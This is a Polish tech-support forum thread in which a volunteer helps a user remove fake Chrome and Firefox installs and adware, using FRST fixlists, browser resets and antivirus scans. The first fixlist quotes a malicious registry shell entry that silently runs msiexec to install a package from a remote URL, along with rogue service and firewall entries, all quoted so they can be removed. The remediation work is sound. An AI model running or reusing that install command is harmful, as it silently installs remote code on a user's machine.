Startsearch - spowolnienie komputera, wysypujące się przeglądarki

[Saszka1962]

Witam,

 

Uprzejmie proszę o pomoc w odinfekowaniu komputera.
Objawy są takie, że komp pracuje wolno, firefox i chrome się wieszają bez ostrzeżenia, czasem zawiesza się karta WIFI. Dość często przy pisaniu kursor gdzieś znika (okno przestaje być aktywne) wtedy trzeba kliknąć myszką w miejscu w którym się pisało - bardzo wkurzające.

 

Załączam wymagane logi. Z góry dziękuję za pomoc i wskazówki jak usunąć problem.

Pozdrawiam, Piotr

 

EDIT: Witam,
Wiem, że to nie zgodne z regulaminem ale czy mógłbym prosić o pomoc w temacie? Coraz ciężej się pracuje na tym kompie.
Z góry dziękuję,
S.

Gmer_log.txt

FRST_log.txt

Addition_FRST.txt

Shortcut.txt

Edytowane 17 Maja 2017 przez Rucek

[Miszel03]

Póki przypomnienie jest taktowne (Twoje jest bardzo) to nie wlepiam ostrzeżeń. Przepraszam za opóźnienia w odpowiadaniu.

 

---

 

Dwie fałszywki: pod Google Chrome i pod Mozilla FireFox. Po za tym widać również wpisy startowe na powłoce i w Harmonogramie zadań uruchamiające różne strony. To już 26 takie temat... 

Przepraszam, że kopiuje opisy ze starych, ale nie jestem w stanie wymyślić innych opisów do takich samych przypadków 26 razy. 

 

Za pomoc oczekuję, że przeczytasz lekturę na temat zabezpieczenia się pod takimi sytuacjami: Portale z oprogramowaniem / Instalatory - na co uważać. 

Zaopatrz się również w porządne oprogramowanie zabezpieczające (jest tyle dobrych, a darmowych...) - KLIK. Treść lektury zweryfikuję w przyszłości sprawdzając czy ktoś z takim adresem IP / nickiem założył kolejny temat z pomocą  

 

1. Przez panel sterowania odinstaluj:

• Sponsorzy instalacyjni / Zbędniki: McAfee Security Scan Plus.
• Przestarzałe oprogramowanie: Spybot - Search & Destroy.

2. Otwórz Notatnik w nim wklej:

 

CloseProcesses:
CreateRestorePoint:
Task: {E573AA43-4DF8-4588-A36C-89034F6DC713} - System32\Tasks\{491760EA-A235-4A6E-B3C7-A826D7D65EBB} => pcalua.exe -a C:\Users\Saszka\AppData\Roaming\omiga-plus\UninstallManager.exe -c  -ptid=cor 
RemoveDirectory: C:\Users\Saszka\AppData\Roaming\omiga-plus
C:\Users\Saszka\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
C:\Users\Saszka\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk
C:\Users\Saszka\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
C:\Users\Public\Desktop\Google Chrome.lnk 
RemoveDirectory: C:\Program Files (x86)\Zoohair
RemoveDirectory: C:\Users\Saszka\AppData\Local\Zoohair
RemoveDirectory: C:\Users\Saszka\AppData\Roaming\Zoohair
AlternateDataStreams: C:\ProgramData\TEMP:56E2E879 [135]
FirewallRules: [{5807452F-88D6-4E26-81FB-3AF3F8000E8B}] => (Allow) C:\Program Files (x86)\Zoohair\Application\chrome.exe
FirewallRules: [{5FC9436D-40AC-4998-B95B-A5AFD1B84D47}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{40D9160E-0161-43BC-BEF1-59B7FD404B9E}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe
RemoveDirectory: C:\Program Files (x86)\Firefox
RemoveDirectory: C:\Users\Saszka\AppData\Local\Firefox
RemoveDirectory: C:\Users\Saszka\AppData\Roaming\Firefox
Winlogon\Notify\SDWinLogon-x32: SDWinLogon.dll [X]
HKU\S-1-5-21-1870858389-217524516-3277012225-1000\...\Policies\system: [shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj8cRTMxFdFdRjk1MjY3F8ExMTUdNWH2NTF5FkRYMWH2Nc== /q
IFEO\DisplaySwitch.exe: [Debugger] 
IFEO\taskmgr.exe: [Debugger] 
GroupPolicy: Ograniczenia - Chrome 
CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia 
URLSearchHook: HKLM-x32 -> Domyślne = {CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [107672 2017-05-04] () 
R2 IISvr; C:\ProgramData\Package Cache\{59399776-575D-9C54-E861-0D5EAB7E707D}v10.1.14393.795\Installers\IIS\iisexp.dll [105472 2017-05-04] () [brak podpisu cyfrowego]
S2 AppleNotificationsSrv; C:\ProgramData\Software\Apple\Apps\Notification.dll [X]
S2 SNARE; C:\Users\Saszka\AppData\Local\SNARE\Snarer.dll [X] 
S2 WindowsOfficeSrv; C:\ProgramData\Microsoft\OneDrive\Uploader.dll [X] 
C:\ProgramData\Software\Apple\Apps\Notification.dll
C:\Users\Saszka\AppData\Local\SNARE\Snarer.dll
C:\ProgramData\Microsoft\OneDrive\Uploader.dll
C:\ProgramData\Package Cache\{59399776-575D-9C54-E861-0D5EAB7E707D}v10.1.14393.795\Installers\IIS\iisexp.dll 
S2 TVicPort; Brak ImagePath
U3 a2mt7ru3; C:\Windows\System32\Drivers\a2mt7ru3.sys [0 ] (Advanced Micro Devices) 
S3 cpuz138; \??\C:\Users\Saszka\AppData\Local\Temp\cpuz138\cpuz138_x64.sys [X] 
R1 ESProtectionDriver; \??\C:\Windows\system32\drivers\mbae64.sys [X]
S3 MBAMFarflt; \??\C:\Windows\system32\drivers\farflt.sys [X]
S3 MBAMProtection; \??\C:\Windows\system32\drivers\mbam.sys [X]
S3 MBAMWebProtection; \??\C:\Windows\system32\drivers\mwac.sys [X]
S3 VGPU; System32\drivers\rdvgkmd.sys [X]
RemoveDirectory: C:\Program Files (x86)\Boxbob
RemoveDirectory: C:\Users\Saszka\AppData\Local\Boxbob
RemoveDirectory: C:\Users\Saszka\AppData\Roaming\Boxbob
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Origin\Origin Error Reporter.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HyperTerminal Private Edition\Uninstall HyperTerminal.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DAEMON Tools Pro\Uninstall.lnk
C:\Users\Saszka\AppData\Roaming\Microsoft\Windows\SendTo\Skype.lnk
C:\Users\Sylwia\Desktop\Continue PRO100 installation.lnk
C:\Users\Sylwia\Desktop\Sylwia\Gry\Heroes.III.Złota.Edycja.PL.CD2.lnk
C:\Users\UpdatusUser\Desktop\Download Accelerator Plus (DAP).lnk
C:\Users\UpdatusUser\Desktop\My DAP Downloads.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
C:\Users\Public\Desktop\Mozilla Firefox.lnk
C:\Users\Saszka\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk
C:\Users\Saszka\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Mozilla Firefox.lnk
EmptyTemp:

 

Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach.

 

Plik zapisz pod nazwą fixlist.txt w folderze z którego uruchamiasz FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, nastąpi restart systemu. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt.

 

3. Wyczyść i zabezpiecz przeglądarkę Google Chrome:

• Zresetuj synchronizację (o ile włączona): KLIK.
• Ustawienia > karta Rozszerzenia > odinstaluj wszystkie nieznane i niepotrzebne Ci rozszerzenia.
• Ustawienia > karta Ustawienia > Pokaż ustawienia zaawansowane > zjedź na sam spód i uruchom opcję Resetowanie ustawień. Zakładki i hasła nie zostaną naruszone.
• Ustawienia > karta Ustawienia > sekcja Szukaj > klik w Zarządzanie wyszukiwarkami > skasuj z listy wszystko z wyjątkiem Google.
• Zainstaluj rozszerzenie blokujące reklamy o podłożu nieinfekcyjnym, polecam rozszerzenie uBlock Origin.
• Ustaw tą przeglądarkę jako domyślną, aby cofnąć modyfikację infekcji.

4. Wyczyść i zabezpiecz przeglądarkę Mozilla FireFox:

• Odłącz synchronizację (o ile włączona): KLIK.
• Menu Pomoc > Informacje dla pomocy technicznej > Odśwież program Firefox. Zakładki i hasła nie zostaną naruszone.
• Menu Historia > Wyczyść historię przeglądania.
• Zainstaluj rozszerzenie blokujące reklamy o podłożu nieinfekcyjnym, polecam rozszerzenie uBlock Origin.

5. Pobierz AdwCleaner uruchom go i kliknij Skanuj, kiedy skanowanie zakończy się wydobądź z niego raport, znajduję się on w folderze C:\AdwCleaner. Raport zaprezentuj na forum.

 

6. Uruchom FRST, w polu Szukaj (Search) wklej poniższą frazę i kliknij w Szukaj w rejestrze (Search Registry).

 

zoohari;boxbob;firefox

 

Obok FRST powstanie raport SearchReg.txt - zaprezentuj go na forum. 

 

7. Zrób nowy log FRST z opcji Skanuj (Scan), wraz z Addition i Shortcut. Dołącz też plik fixlog.txt.

[Saszka1962]

Witam,

Dziękuję za odpowiedź i instrukcję. Po wykonaniu poleceń zauważyłem znaczną poprawę pracy przeglądarek - problem zniknął.

 

Odnośnie darmowych programów zabezpieczających, przepraszam ale lista od Picasso jest tak długa, że się w niej gubię - który konkretnie z tych programów polecasz aby uniknąć podobnych problemów na przyszłość?

 

Załączam wymagane logi.

AdwCleanerC0.txt

Fixlog.txt

FRST.txt

SearchReg.txt

Shortcut.txt

Addition.txt

[Miszel03]

Popełniłem literówkę przez przypadek w instrukcji do przeszukiwania rejestru (zamiast słowa zoohair dałem zoohari). Powtórz punkt 6, tylko tym razem wklej taki skrypt: zoohair;boxbob;firefox.

 

Odnośnie darmowych programów zabezpieczających, przepraszam ale lista od Picasso jest tak długa, że się w niej gubię - który konkretnie z tych programów polecasz aby uniknąć podobnych problemów na przyszłość?

 

Chyba stawiałbym na darmowe rozwiązanie Avast. W testach wypada dobrze, a patrząc po tym co widzę na forum to też się nieźle sprawuje.

Ewentualnie Avira, ale jak na nią się zdecydujesz to uważnie instaluj. Czyli: chcesz tylko antywirusa, bez toolbarów itp. rzeczy.

[Saszka1962]

Załączam poprawny plik z przeszukania rejestru.

 

Spróbuję w takim razie z Avastem, dzięki wielkie za sugestię :-)

 

 

SearchReg.txt

[Miszel03]

Jest już praktycznie w porządku, a dodatkowo piszesz, że problem ustąpił, więc super. 

Zostały poprawki oraz globalny skan przeciwwirusowy. 

 

1. Otwórz Notatnik w nim wklej:

 

DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Boxbob
DeleteKey: HKEY_USERS\S-1-5-21-1870858389-217524516-3277012225-1000\Software\Boxbob
FirewallRules: [{1898C9C0-7B1B-4937-B7D5-374E070C4310}] => (Allow) C:\Program Files (x86)\MIO\loader\st1000dm003-9yn162_s1d0ytlrxxxxs1d0ytlr.dat
FirewallRules: [{FD5F0B34-2064-402B-B5E9-FA0A772452FF}] => (Allow) C:\Program Files (x86)\MIO\loader\st1000dm003-9yn162_s1d0ytlrxxxxs1d0ytlr.dat
Reboot:

 

Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach.

 

Plik zapisz pod nazwą fixlist.txt w folderze z którego uruchamiasz FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, nastąpi restart systemu. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt.

 

2. Całościowo przeskanuj system za pomocą programu Malwarebytes AntiMalware. Jeśli coś wykryje to niczego nie usuwaj, a dostarcz raport.

[Saszka1962]

Skan Malwarebytes Anti-Malware nie znalazł złośliwego oprogramowania, temat uważam za zamknięty.

 

Jeszcze raz serdecznie dziękuję za profesjonalną pomoc.

Pozdrawiam,

PB

[Miszel03]

Zastouj DelFix (kasacja używanych narzędzi) oraz zaktualizuj oprogramowanie zewnętrzne oraz Windows.